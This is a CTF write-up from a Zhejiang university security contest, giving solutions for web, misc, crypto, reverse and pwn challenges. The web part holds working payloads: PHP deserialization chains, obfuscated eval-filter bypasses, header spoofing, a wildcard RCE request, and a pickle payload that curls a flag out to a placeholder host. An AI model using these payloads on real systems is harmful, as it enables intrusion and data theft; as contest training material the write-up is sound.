第六届浙江省大学生网络与信息安全竞赛-WP

web

初赛[easy php]

签到题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class AAA{
public $cmd="system('cat /flag');";

public function __call($name, $arguments){
eval($this->cmd);
return "done";
}
}

class BBB{
public $param1;

public function __debuginfo(){
return [
'debugInfo' => 'param1' . $this->param1
];
}
}

class CCC{
public $func;

public function __toString(){
var_dump("aaa");
$this->func->aaa();
}
}

$a = new BBB();
$a->param1 = new CCC;
$a->param1->func = new AAA;
echo urlencode(serialize($a));

初赛[can you read flag]

好像做复杂了

访问页面返回//eval($_GET[a]);

爆破一下看哪些符号能用

可以用取反,例如(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

发现根目录有flagreadflag,flag没有权限读取

base64转一下读取readflag

(~%8C%86%8C%8B%9A%92)(~%9D%9E%8C%9A%C9%CB%DF%D0%8D%9A%9E%9B%99%93%9E%98);

执行readflag后要先输入一个y,然后进入循环开始计算式子,大概成功计算100多轮后读取flag并输出

靶机的web目录不能读写,在/tmp目录下写一个php脚本用来计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$desc=array(
0=>array("pipe",'r'),
1=>array("pipe",'w'),
2=>array("file","/tmp/error-output.txt",'a')
);
$a=proc_open("/readflag",$desc,$handle);
is_resource($a);
$wh=$handle[0];
$rh=$handle[1];
echo "$rh $wh open\n";
var_dump($handle);
$read=fread($rh,2096);
echo "$read\n";
fwrite($wh,'y');

$read=fread($rh,2048);
echo "read: ".$read."\n";

$read=fread($rh,2048);
echo "$i:$read\n";
$op="\$value=".trim(strtok($read," =")).';';

echo $op."\n";
eval($op);
echo $value."\n".$op."\n";
fwrite($wh,strval($value).PHP_EOL);
$i=0;
while ($i<200){
$read=fread($rh,2048);
echo "$i:$read\n";
$op="\$value=".trim(strtok($read," =")).';';

eval($op);
fwrite($wh,strval($value).PHP_EOL);
$i++;
}
1
(~%8C%86%8C%8B%9A%92)(~%D7%9A%9C%97%90%DF%DD%AF%BB%C6%88%9E%B7%BE%B1%BC%98%CF%B4%B5%B8%AD%93%9C%CD%B2%C6%A6%A7%B5%86%A6%A7%94%90%BB%AE%90%B5%B2%BB%CF%D4%A6%A7%B5%86%A6%A7%94%90%B6%91%BD%8F%9C%B8%AA%96%B3%BC%9B%86%B5%86%94%8C%BB%AE%90%B5%B2%AB%CF%D4%A6%A7%B5%86%A6%A7%94%90%B6%91%BD%8F%9C%B8%AA%96%B3%BC%9B%CC%B5%86%94%8C%BB%AE%90%B5%B2%95%CF%D4%A6%A7%B5%86%A6%A7%94%90%B6%92%A5%8F%9D%B8%AA%96%B3%BC%B6%89%9B%B8%CE%88%B3%CD%A9%86%9C%92%C6%86%B3%A8%C6%CE%9B%B7%BD%CE%9B%BC%CA%CF%9A%B7%AE%96%B3%BC%9B%97%B5%86%94%B1%BC%96%94%C8%BB%AE%90%94%A6%AB%CE%88%9C%92%C6%95%A7%CD%C6%88%A5%A8%CB%90%B6%96%C6%86%A5%A8%B9%94%A5%92%87%97%A5%86%B6%8C%B5%B8%AD%93%9C%CD%B2%8C%B5%B8%97%97%9D%92%AD%8C%A5%AC%94%C8%BB%AE%8F%8F%9C%CE%C6%86%A5%A7%B1%89%9B%A7%B5%95%A5%AC%98%94%A6%AC%94%C8%BB%AE%90%94%9B%CD%98%C6%B5%B8%97%97%9D%92%AD%8C%A5%A9%8C%88%A7%AB%8C%B1%BC%96%AD%86%9E%BB%CF%94%9E%B8%B9%8A%A5%B8%87%93%A8%85%B9%9B%B0%88%CF%B4%A5%A8%B1%90%9D%86%BE%96%B5%B7%B5%90%B6%BC%AD%CC%9E%BC%BD%89%9C%B8%A9%8A%A7%B8%CB%96%B0%88%CF%B4%9B%92%B9%86%A7%CD%AD%CE%9D%A7%BE%90%B5%B8%97%97%9D%92%AD%8C%A5%AC%94%C8%BB%AE%90%94%9C%92%A9%97%A5%BB%CE%92%9C%92%A9%97%A5%BC%98%94%9C%92%98%8C%B2%95%BE%CA%B1%96%94%C8%BB%AE%8F%93%A6%CD%97%89%B6%BC%B6%94%9C%92%A9%97%A5%B9%87%8A%B6%95%8C%B1%BC%92%A5%CC%9C%92%93%CF%A5%AC%98%94%9B%CD%98%8C%B5%CC%94%91%B4%AB%8C%B1%BC%98%CF%B4%B5%B7%B5%93%A6%A8%AE%C6%A5%91%B5%93%A6%A8%AE%90%B5%B7%B5%90%B3%BB%B6%88%B1%BB%98%8F%B0%88%CF%B4%A5%A8%B1%90%9D%86%BE%96%9C%92%A9%97%A5%BB%90%98%B6%96%CB%94%9C%92%A9%97%A5%BC%CB%96%A7%B8%CB%96%B0%88%CF%B4%BB%AE%90%94%9C%92%A9%97%A5%BB%CE%92%9C%92%A9%97%A5%BC%98%94%9C%92%98%8C%B2%95%BE%CF%B0%BC%94%C8%BB%AE%8F%93%A6%CD%97%89%B6%BC%B6%94%9E%AB%90%94%9C%92%A9%97%A5%B9%87%8A%B6%95%8C%B1%BC%96%AD%89%9C%BB%CF%96%A7%BC%AD%CD%A6%A8%87%CE%A5%AB%CF%96%B3%91%AD%86%9E%A8%CF%90%9C%CC%AD%86%9B%B8%C6%8D%B4%BC%AD%86%A5%A8%B9%94%B3%BC%B6%98%AF%AC%B6%8F%B4%AC%CB%91%B0%86%9C%C8%BB%AE%90%B1%BC%92%A9%95%9E%B8%C7%98%B5%B8%C6%88%B3%96%B5%9C%9D%96%B6%C8%BB%AE%8F%93%9B%92%B9%8C%B4%BC%AD%89%9C%BC%94%C8%BB%AE%8F%93%A6%CD%97%89%B6%BC%AD%CD%A6%A8%87%CE%A5%AC%CB%96%A7%B8%CB%96%B3%96%AD%89%9C%BC%CB%96%A7%B8%CB%96%B0%88%CF%B4%A5%91%9B%86%9E%A7%AD%93%B4%BC%AD%CC%9E%BC%87%85%9B%B7%B5%CD%A6%A8%88%90%B5%B7%A5%97%9D%B7%A9%93%B4%AC%CA%AE%AC%B9%BD%99%AD%AA%C6%B2%B4%AB%8C%B1%BC%96%AD%8F%AF%AB%BE%C8%BB%AE%8F%CC%9E%B8%93%8C%A5%AC%BE%90%B5%B8%94%C7%B2%95%BE%88%B4%A7%8C%B1%BC%96%BE%98%B6%BC%BE%94%9C%92%A9%97%A5%BB%CE%92%9C%92%A9%97%A5%BC%98%94%9C%92%98%8C%B2%95%BE%CF%B0%BC%94%C8%BB%AE%90%98%B6%BC%BE%98%A5%A8%B1%90%9D%86%BE%96%B5%B8%94%C9%B5%B7%B5%93%A6%A8%AD%9C%9D%96%B6%C8%BB%AE%90%98%B6%BC%BE%98%B5%B8%C6%88%AF%AC%B5%9C%B5%B7%A5%97%9D%B7%A9%93%AF%AC%B6%8A%9B%B7%B5%8F%9D%AC%97%85%9B%B7%B5%CF%9D%CD%8C%90%B5%B7%B5%93%A6%A8%AE%8C%B6%96%BE%C6%B6%96%94%8F%B3%96%9C%C8%B5%85%8C%B1%BC%96%BE%98%B6%BC%BE%98%B6%BC%BE%B1%BC%96%BE%98%B6%BC%BD%93%9B%92%B9%8C%B4%BC%AD%89%9C%BC%94%C8%BB%AE%90%98%B6%BC%BE%98%A5%91%9B%86%9E%A7%AD%93%B4%BC%AD%CC%9E%BC%87%85%9B%B7%B5%CD%A6%A8%88%90%B5%B7%A5%97%9D%B7%A9%93%B4%AC%CA%AE%AC%B9%BD%99%AD%AA%C6%B2%B4%AB%8C%B1%BC%98%94%94%9E%AC%8C%8D%B0%88%CF%B4%99%AE%CF%B4%DD%DF%83%DF%9D%9E%8C%9A%C9%CB%DF%D2%9B%DF%C1%DF%D0%8B%92%8F%D0%9E%D1%8F%97%8F%D6%DF%D9%D9%DF%8F%97%8F%DF%D0%8B%92%8F%D0%9E%D1%8F%97%8F);

决赛[baby md5]

check.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
function isRequestFromLocal() {
// 定义本地IP地址
$localIP = '127.0.0.1';

// 获取客户端IP地址
$clientIP = $_SERVER['HTTP_X_FORWARDED_FOR'];

// 比较客户端IP地址与本地IP地址
if ($clientIP === $localIP) {
// 请求来自本地
return true;
} else {
// 请求不来自本地
return false;
}
}
?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
require_once 'check.php';

if (isRequestFromLocal()) {
echo 'hello!';
$a = $_GET['cmd'];
$b = $_GET['key1'];
$c = $_GET['key2'];
if(!preg_match("/eval|shell_exec|system|proc_open|popen|pcntl_exec|\'|cat|include|whoami/i",$a)){
if(md5($b) == md5($c)){
eval($a);
}
}else{
echo 'Oh no, you are hacker!!!';
}
} else {
die("failed");
}
?>

ip验证用X-Forwarded-For,md5弱比较用数组绕过,正则匹配用取反绕过

payload:X-Forwarded-For=127.0.0.1,cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);&key1[]=1&key2[]=2

决赛[easy serialize]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
//flag is in /flag.php
error_reporting(0);
class baby{
public $var;
public $var2;
public $var3;

public function learn($key){
echo file_get_contents(__DIR__.$key);
}

public function getAge(){
return $this->var2->var3;
}

public function __isset($var){
$this->learn($var);
}

public function __invoke(){
return $this->learn($this->var);
}

public function __wakeup(){
$this->getAge();
}
}

class young{
public $var;

public function __toString(){
return ($this->var)();
}
}

class old{
public $var;

public function __get($key){
return "Okay, you get the key, but we send you ".$this->var;
}
}


if(isset($_GET['age'])){
@unserialize($_GET['age']);
}
else{
highlight_file(__FILE__);
}
?>

给定了flag位置,同时又有file_get_contents,那么就从learn函数入手。很明显__invoke调用了learn,传进去了可控的$var,而在yong::__tostring中可以触发baby::__invokeold::__get中可以触发yong::__tostring,baby中的getAge又能触发old::__get

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class baby{
public $var='/flag.php';
public $var2;
public $var3;

public function learn($key){
echo file_get_contents(__DIR__.$key);
}

public function getAge(){
return $this->var2->var3;
}

public function __invoke(){
return $this->learn($this->var);
}

public function __wakeup(){
$this->getAge();
}
}

class young{
public $var;

public function __toString(){
return ($this->var)();
}
}

class old{
public $var;

public function __get($key){
return "Okay, you get the key, but we send you ".$this->var;
}
}

$a = new baby();
$a->var2 = new old();
$a->var2->var = new young();
$a->var2->var->var = new baby();

echo urlencode(serialize($a));

决赛[p2rce]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
error_reporting(0);

class CCC {
public $c;
public $a;
public $b;

public function __destruct()
{
$this->a = 'flag';
if($this->a === $this->b) {
echo $this->c;
}
}
}

class AAA {
public $s;
public $a;

public function __toString()
{
$p = $this->a;
return $this->s->$p;
}
}


class BBB {
private $b;
public function __get($name)
{
if (is_string($this->b) && !preg_match("/[A-Za-z0-9_$]+/", $this->b)) {
global $flag;
$flag = $this->b;
return 'ok';
} else {
return '<br/>get it!!';
}
}
}


if(isset($_GET['ctf'])) {
if(preg_match('/flag/i', $_GET['ctf'])) {
die('nonono');
}
$a = unserialize($_GET['ctf']);
system($flag);
throw new Exception("goaway!!!");
} else {
highlight_file(__FILE__);
}

CCC::__destruct进入,有个判断,用&引用地址,使$a永远与$b相等,然后echo触发AAA::__toString,接着可以通过return对象中不存在的属性来触发BBB::__get,最后绕过正则实现rce

最后结尾还有一个throw new Exception,破坏字符串结构即可触发fast destruct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
class CCC {
public $c;
public $a;
public $b;

public function __construct()
{
$this->b = &$this->a;
}
public function __destruct()
{
$this->a = 'flag';
if($this->a === $this->b) {
echo $this->c;
}
}
}

class AAA {
public $s;
public $a='lewiserii';

public function __toString()
{
$p = $this->a;
return $this->s->$p;
}
}


class BBB {
public $b='/???/?? /* .';
public function __get($name)
{
if (is_string($this->b) && !preg_match("/[A-Za-z0-9_$]+/", $this->b)) {
global $flag;
$flag = $this->b;
return 'ok';
} else {
return '<br/>get it!!';
}
}
}


$a = new CCC();
$a->c = new AAA();
$a->c->s = new BBB();
echo urlencode(serialize($a));

O%3A3%3A%22CCC%22%3A3%3A%7Bs%3A1%3A%22c%22%3BO%3A3%3A%22AAA%22%3A2%3A%7Bs%3A1%3A%22s%22%3BO%3A3%3A%22BBB%22%3A1%3A%7Bs%3A1%3A%22b%22%3Bs%3A12%3A%22%2F%3F%3F%3F%2F%3F%3F+%2F%2A+.%22%3B%7Ds%3A1%3A%22a%22%3Bs%3A9%3A%22lewiserii%22%3B%7Ds%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22b%22%3BR%3A6%3B

通过通配符匹配/bin/cp,将根目录所有文件复制到根目录,然后访问获得flag

或者通过. /???/????????[@-[]匹配php的临时文件来rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /?ctf=O%3A3%3A%22CCC%22%3A3%3A%7Bs%3A1%3A%22c%22%3BO%3A3%3A%22AAA%22%3A2%3A%7Bs%3A1%3A%22s%22%3BO%3A3%3A%22BBB%22%3A1%3A%7Bs%3A1%3A%22b%22%3Bs%3A20%3A%22.+%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40-%5B%5D%22%3B%7Ds%3A1%3A%22a%22%3Bs%3A9%3A%22lewiserii%22%3B%7Ds%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22b%22%3BR%3A6%3B% HTTP/1.1
Host: 192.168.100.100:10033
Content-Length: 186
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0xXn6nlxZVqh49pS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundary0xXn6nlxZVqh49pS
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

cat /f*
------WebKitFormBoundary0xXn6nlxZVqh49pS--

决赛[babyWeb]

pickle反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import base64

class GetShellWithPython(object):
def __reduce__(self):
import subprocess
return (subprocess.call,
(['python',
'-c',
'import os;'
'os.system("curl http://x.x.x.x:4444?a=`cat /flag`");'],))

pickleData = pickle.dumps(GetShellWithPython())

print(base64.b64encode(pickleData))

misc

初赛[number game]

查看index.js

1
2
3
4
5
6
7
8
9
10
11
12
function roll() {
var _0x38f496 = _0x359f
, _0x1afb7a = Math[_0x38f496(0xda)](Math[_0x38f496(0xd5)]() * 0x3e8);
document['getElementById']('number')[_0x38f496(0xdc)] = _0x1afb7a[_0x38f496(0xd3)]();
if (_0x1afb7a == 0x539) {
var _0x14184c = [0x38, 0x6f, 0x1e, 0x24, 0x1, 0x32, 0x51, 0x45, 0x1, 0x3c, 0x24, 0xb, 0x55, 0x38, 0xa, 0x5d, 0x28, 0x12, 0x33, 0xb, 0x5d, 0x20, 0x1e, 0x46, 0x17, 0x3d, 0x10, 0x2a, 0x41, 0x44, 0x49, 0x1a, 0x31, 0x5a]
, _0x477866 = '';
for (var _0x6698b7 = 0x0; _0x6698b7 < _0x14184c['length']; _0x6698b7++)
_0x477866 += String[_0x38f496(0xd9)](_0x14184c[_0x6698b7] ^ _0x6698b7 + 0x5a);
alert(_0x477866);
}
}
1
2
3
4
a=[0x38,0x6f,0x1e,0x24,0x1,0x32,0x51,0x45,0x1,0x3c,0x24,0xb,0x55,0x38,0xa,0x5d,0x28,0x12,0x33,0xb,0x5d,0x20,0x1e,0x46,0x17,0x3d,0x10,0x2a,0x41,0x44,0x49,0x1a,0x31,0x5a]
for i,v in enumerate(a):
a[i]=v^i+0x5a
print(bytes(a))

初赛[Ez_misc]

文件高位和低位交换位置

1
2
3
4
5
6
f=open('1.jpg','rb')
f1=open('2.jpg','wb')
d=f.read()
for i in d:
n=(i//16)+((i&0xf)<<4)
f1.write(bytes([n]))

steghide空密码解密得到flag.txt

DASH替换成-DOT替换成.后解摩斯

初赛[Steins_Gate]

给了一张很大的图片,由嘟嘟噜组成一张图片,观察发现每个字是16*16

猜测是把原图像素替换成文字了

在每个字中找一个固定的像素点,然后提取像素还原原图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from PIL import Image

img = Image.open('Steins_Gate.png')
width,height=img.size

new_img = Image.new("RGB", (int(width / 16), int(height / 16)))

for i in range(5,height,16):
for j in range(2,width,16):
tmp = img.getpixel((j,i))
print(tmp)
new_img.putpixel((int(j / 16), int(i / 16)), (tmp[0], tmp[1], tmp[2]))

new_img.show()
new_img.save('out.png')

使用stegsolve发现0通道有很多base64

提取出来后发现每组后还有12个字节的冗余数据

1
2
3
4
5
6
7
with open('out','rb')as f:
with open('1.txt','wb') as f1:
data=f.read()
i=0
while i<len(data):
f1.write(data[i:i+240]+b"\n")
i+=252

去除冗余数据后base64解出一张图片

同时也是多行base64的形式,尝试base64隐写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding: utf-8 -*-
#base64解码脚本,Python2 运行

b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

with open('1.txt', 'rb') as f:
bin_str = ''
for line in f.readlines():
stegb64 = ''.join(line.split())
rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())
offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
equalnum = stegb64.count('=')
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)])

得到密码DuDuLu~T0_Ch3@t_THe_w0r1d

outguess解密得到flag

决赛[Xcode v5.8]

xxencode->base58

决赛[Ez_Signin]

zip爆破密码,得到11452

base32解密后得到一个文本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
MoveTo 495, 314
KeyUp "CapsLock", 1
LeftClick 1
LeftDown 1
MoveTo 495, 313
MoveTo 495, 312
MoveTo 494, 312
MoveTo 494, 311
MoveTo 493, 311
Delay 1
...
省略
...
MouseWheel 1
Delay 1
MouseWheel 1
MouseWheel 1
MouseWheel 1
MouseWheel 1
MouseWheel 1
KeyDown "CapsLock", 1

根据文本内容进行画图

1
2
3
4
5
6
7
8
9
10
11
12
from PIL import Image
a=Image.new("1",(2000,2000))
f=open("flag.txt")
d=f.read().splitlines()
for i in d:
if 'MoveTo' not in i:
continue
i=i[6:].split(',')
x=int(i[0])
y=int(i[1])
a.putpixel((x,y),255)
a.save("1.png")

crypto

初赛[小小数学家]

计算式子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
a=[]
a.append(19+49)
a.append(96-31)
a.append(86-3)
a.append(20+47)
a.append(29+55)
a.append(35+35)
a.append(81+42)
a.append(73-16)
a.append(52+48)
a.append(0+56)
a.append(55-6)
a.append(69-20)
a.append(99-48)
a.append(100-52)
a.append(36+13)
a.append(32+13)
a.append(84-34)
a.append(90-34)
a.append(94-45)
a.append(85+13)
a.append(50-5)
a.append(55-3)
a.append(77+25)
a.append(87-35)
a.append(62+35)
a.append(88-43)
a.append(86-30)
a.append(90+10)
a.append(66-17)
a.append(34+63)
a.append(51-6)
a.append(22+76)
a.append(46+5)
a.append(45+11)
a.append(20+78)
a.append(56+45)
a.append(99//1)
a.append(47+52)
a.append(58+44)
a.append(76-26)
a.append(92-42)
a.append(12+44)
a.append(80-27)
a.append(5*25)
print(bytes(a))

初赛[An EaSy Cipher]

1
["Kln/qZwlOsux+b/Gv0WsxkOec5E70dNhvczSLFs+0pkHaovEOBqUApBGBDBUrH08。RUNCIDAgMTI4IHNpeCBudW1iZXJz","Kln/qZwlOsux+b/Gv0WsxkOec5E70dNhvczSLFs+0pkHaovEOBqUApBGBDBUrH08"]

提示:ECB 0 128 six numbers

写脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
c="Kln/qZwlOsux+b/Gv0WsxkOec5E70dNhvczSLFs+0pkHaovEOBqUApBGBDBUrH08"
key="RUNCIDAgMTI4IHNpeCBudW1iZXJz"

#mcrypt是自定义的模块,包含aes
from mcrypt.boom import *
from mcrypt.base import *
from mcrypt.aes import *
base="0123456789"
f=open("data.txt",'wb')
for i in Gendic(base,6,True):
a=aes(''.join(i),Pad_type=1)
data=a.decrypt(b64().decode(c))
try:
print(data.decode("utf-8"),i)
f.write(data)
f.write(b'\n')
f.flush()
except:
pass

reverse

初赛[pyccc]

使用pycdc反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Source Generated with Decompyle++
# File: baby.pyc (Python 3.8)

a = input('please input your flag:\n')
check = [
102,
109,
99,
100,
127,
52,
114,
88,
97,
122,
85,
125,
105,
127,
119,
80,
120,
112,
98,
39,
109,
52,
55,
106]
if len(a) == 24:
for i in range(len(a)):
if check[i] == ord(a[i]) ^ i:
continue
print(yes)

print('nononono')
continue
else:
print('nononono')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
check = [
102,
109,
99,
100,
127,
52,
114,
88,
97,
122,
85,
125,
105,
127,
119,
80,
120,
112,
98,
39,
109,
52,
55,
106]

for i in range(len(check)):
print(chr(check[i] ^ i), end="")

初赛[easyapk]

密文是HPjVMiy4FxSPc1n0eq52t4jaZ7FNr/qvJMjkusqbG6t8IVzztqflA0VQmVZYgiaC,iv是0123456789ABCDEF

密钥中e替换成3

final String replaceAll = "reversecarefully".replaceAll("e", "3");

加密模式是AES

初赛[luare]

先导出lua的字节码

修补文件头为1B 4C 7561 52,其中52是版本号

使用unluac反编译

java -jar unluac.jar out > out.lua

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
function CheckAns(data)
if #data ~= 40 then
return false
end
dataOut = Oo00Oo0(data)
enc = {
109,
-73,
-72,
46,
-73,
-5,
99,
-100,
46,
59,
32,
-76,
109,
3,
59,
20,
-61,
-56,
-119,
48,
100,
118,
36,
118,
82,
3,
95,
106,
14,
-80,
5,
-89,
89,
-85,
5,
14,
46,
-73,
7,
127
}
i = 1
while i <= #dataOut do
if dataOut[i] ~= enc[i] then
return false
end
i = i + 1
end
return true
end
print("input: ")
local data = io.read()
if CheckAns(data) then
print("true")
else
print("false")
end

分析Oo00Oo0函数,简单异或

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
v7=[0]*32
v7= [0x60856D1028C8953C,0x964849764CB30359,0x2E7164C479B75FB8,0x80637291A7AC8C38,0x7B8BF3AE4B339EB0,\
0xCFE06FEC52B45B4D,0x5DC67EAAB20C3AD,0x24FCFBD656409F00,0x4AF00D463D0BCA92,0x7DBC8A3B1A11555A,0x3061CE7513A9E76C,\
0x9C54D007276AA614,0x34C20158D8898E5C,0x50A02AC02F3569E8,0xC0E681D39FF8836,0xB66E7F18FEB1E693,\
0x29F5D2E92B315378,0x41D9DBDE84172C0F,0x7A45A899A1F71906,0xE5AA0AAF1BA5233E,0x9A3A82FAF8E1A4EF,\
0xC1D173C7651C8FDF,0x8D9DDD875EA2D7C5,0x66EE9790CD81C9F9,0x370874C63F424FDA,0xB93283E32677CB25,\
0xBA2D4ED544F2D3BD,0xBFE421121E049862,0xA31694FDF486F647,0x430251B27C701FEB,0x5DE26B097ECC1522,0xF157EDD4B5BE9BBB]
table=b""
for i in v7:
table+=i.to_bytes(8,'little')

table=list(table)
enc=[109,-73,-72,46,-73,-5,99,-100,46,59,32,-76,109,3,59,20,-61,-56,\
-119,48,100,118,36,118,82,3,95,106,14,-80,5,-89,89,-85,5,14,46,-73,7,127]
for i,v in enumerate(enc):
enc[i]=v&0xff

flag=[]
flag.insert(0,table.index(enc[-1]))
ind=len(enc)-2
while ind>=0:
flag.insert(0,table.index(enc[ind])^flag[0])
ind-=1
print(bytes(flag))

决赛[Ez8or]

加密数据再次异或后得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
import time
a=[ 168, 172, 54, 106, 196, 10, 154, 220, 18, 72,
242, 96, 203, 204, 58, 94, 242, 99, 156, 148,
245, 72, 205, 23, 130, 205, 247, 113, 159, 54,
180, 136, 175, 95, 221, 100, 133, 150, 247, 94,
196, 9, 173, 221, 171, 22, 153, 96, 155, 222,
245, 83, 195, 33, 252, 128, 248, 16, 199, 38]

p=process("./Ez8or")
p.readuntil('flag')
gdb.attach(p,'bp $rebase(0x1476)')
# 修改加密函数的参数为密文地址,函数结束后,查看密文地址处储存的信息
pause()
p.sendline(bytes(a))
p.interactive()

pwn

决赛[SafeNote]

伪随机数,先获取密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from ctypes import CDLL

lib=CDLL("./libc.so.6")
p=process("SafeNote")
i=96
while i>0:
p=remote("10.1.101.234",9999)
t=lib.time(0)
p1=process("./a.out")
p1.sendline(str(i))
p.readuntil("N =")
d2=int(p.readline())
p.sendlineafter("choice:",'3')
p.readuntil("password = ")
d=int(p.readline().strip().decode("utf-8"))
p1.send(str(d))
p1.readuntil('n:')
d1=int(p1.readline().decode("utf-8").strip())
print("n(1): "+str(d2))
print("n(2): "+str(d1))
print("nu: "+str(i))
print("time: "+str(t))
if d2!=d1:
p.close()
p1.close()
i-=1
continue
break
p1.readuntil('data:')
d=p1.readline()
print(d)
p.interactive()

rsa解密得到password,然后将password发送给靶机得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include<gmp.h>
#include<time.h>
#include<stdio.h>
#include<stdlib.h>
gmp_randstate_t gmp_state;
__mpz_struct p,q,n_,e,p_1,q_1,lambda,d_;
__mpz_struct secret,msg;
char* data,data1;

int main(){
data=malloc(0x2000);
data1=malloc(0x2000);
__gmpz_inits(&p,&q,&n_,&e,&p_1,&q_1,&lambda,&d_,&secret,&msg,0);
__gmp_randinit_mt(&gmp_state);
long long int num=0;
scanf("%lld",&num);
__gmp_randseed_ui(&gmp_state,time(0)+num);
__gmpz_urandomb(&q,&gmp_state,256);
__gmpz_nextprime(&q,&q);
__gmpz_urandomb(&p,&gmp_state,256);
__gmpz_nextprime(&p,&p);
__gmpz_mul(&n_, &p, &q);
__gmpz_set_ui(&e, 65537LL);
__gmpz_sub_ui(&p_1, &p, 1LL);
__gmpz_sub_ui(&q_1, &q, 1LL);
__gmpz_lcm(&lambda, &p_1, &q_1);
__gmpz_invert(&d_, &e, &lambda);
printf("n: %s\n",__gmpz_get_str(0,0,&n_));
read(0,data,0x100);
__gmpz_set_str(&secret,data,10);
__gmpz_powm(&msg,&secret,&d_,&n_);
printf("data: %s\n",__gmpz_get_str(0,0,&msg));

}

第六届浙江省大学生网络与信息安全竞赛-WP
https://www.dr0n.top/posts/13f4d784/
作者
dr0n
发布于
2023年11月11日
更新于
2024年3月22日
许可协议